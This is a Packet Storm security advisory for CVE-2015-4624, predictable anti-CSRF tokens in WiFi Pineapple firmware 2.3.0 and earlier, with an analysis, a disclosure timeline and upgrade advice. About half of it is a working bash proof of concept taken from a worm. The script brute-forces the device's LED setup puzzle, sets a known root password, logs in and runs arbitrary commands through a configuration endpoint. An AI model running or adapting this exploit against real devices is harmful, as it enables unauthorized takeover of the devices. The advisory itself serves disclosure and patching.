what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WiFi Pineapple Predictable CSRF Token

WiFi Pineapple Predictable CSRF Token
Posted Aug 12, 2015
Authored by catatonicprime

WiFi Pineapples with firmware versions 2.3.0 and below suffer from using a predictable cross site request forgery token.

tags | exploit, csrf
advisories | CVE-2015-4624
SHA-256 | d28d69f0685d472bf2f32a107ab1c86929af0af281983fb44aed43ba9dda6a3d

WiFi Pineapple Predictable CSRF Token

Change Mirror Download
Overview
===============
WiFi Pineapples are a penetration testing tool used in offensive
wireless activities. These devices run on a modified OpenWRT (based on
netBSD) operating system. They include a web-based management
interface.

It has been discovered they have predictable anti-CSRF tokens based on
the session ID, which generally would be a non-issue except combined
with a number of other minor configurations may allow devices to be
compromised.

Analysis
===============
In the php processor on the WiFi Pineapple a session can be generated
by making any page request or optionally a session can be specified by
setting the PHPSESSID cookie to any value. In either case an anti-CSRF
token is generated once a user is successfully logged in. This token
is generated by:

$_SESSION['_csrfToken'] = sha1(session_id());

As near as I can tell this does not have a significant impact on
devices which have been fully configured. However on devices which are
Out-Of-The-Box (OOTB) configured this leads to the ability to execute
commands without fully configuring the device. Utilizing a default
password or brute forcing the LED challenge (v2.0.0-v2.3.0) to set a
known password and using that may allow an attacker to successfully
login and pass CSRF checks using a priori knowledge of the session or
taking the time to calculate it during the login process.

This appears to be unintentional as the antiCSRF token is only ever
passed to an authenticated client after the device is fully
configured.

New devices may be identified by a broadcast SSID. This SSID generally
takes the form of Pineapple5_ABCD.

Here is a brief PoC demonstrating these processes. Apologies if this
is missing some information, it's been pulled from a pineapple
infecting worm and reduced for some semblance of brevity. The original
worm may be found here and is designed to be run on a WiFi pineapple:
https://github.com/catatonicprime/TospoVirus

PoC (bash)
===============
creds="username=root&password=pineapplesareyummy&login="
sessid="poc"
token="_csrfToken=e7c4e8b68f57f84a75d3802ceaf6e41f93a7fca0"

post() {
len=`printf "$2" | wc -c`
printf "POST $1 HTTP/1.1\r\nHost:
172.16.42.1:1471\r\nContent-Type:
application/x-www-form-urlencoded\r\nCookie:
PHPSESSID=$3\r\nContent-Length: $len\r\nConnection: close\r\n\r\n$2" |
nc 172.16.42.1 1471
}

#Function solves the LED puzzle
bf() {
echo "Brute forcing..."
session=`printf 'HEAD /?action=verify_pineapple
HTTP/1.1\nHost: 172.16.42.1:1471\nConnection: close\n\n' | nc
172.16.42.1 1471 | egrep -om1 '[0-9a-z]{32}'`
for n in `seq 1 $1`
do
echo "Trying $n time..."
#change the puzzle until it matches our solution,
which is all lights on.
post "/?action=verify_pineapple"
"green=on&amber=on&blue=on&red=on&verify_pineapple=Continue"
"$session" | grep "password" && post "/?action=set_password"
"password=pineapplesareyummy&password2=pineapplesareyummy&eula=1&sw_license=1&set_password=Set+Password"
"$session" | grep "success" && return 0
done
#return 1 - Failed!
return 1
}
#Uses the post function to login for this session "poc"
#Once logged in other actions may be performed.
login() {
echo "Logging in..."
post '/includes/api/login.php'
"username=root&password=pineapplesareyummy&login=" "$sessid" | grep -i
'invalid username' && return 1
echo "Logged in Successfully!"
#return 0 - Succeeded!
return 0
}

login || (bf 75 && login || exit)
post '/components/system/configuration/functions.php?execute='
"$token&commands=[PAYLOAD]" "$sessid"

===============END PoC

Timeline
===============

Unknown - Discovered multiple bugs in product
06/26/15 - Disclosed vulnerabilities to the vendor
08/04/15 - Vendor released firmware patching vulnerabilities

CVE(s)
===============
CVE-2015-4624: Predictable CSRF tokens in WiFi Pineapple firmware <= 2.3.0

Remediation
===============
Upgrade to the latest firmware (v2.4.0).

Special Thanks
===============
Special thanks to Seb & Darren @hak5 for patching these bugs and
generally being chill. If you have bugs in any of hak5's gear they
accept bug reports here: bugs@hak5.org
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close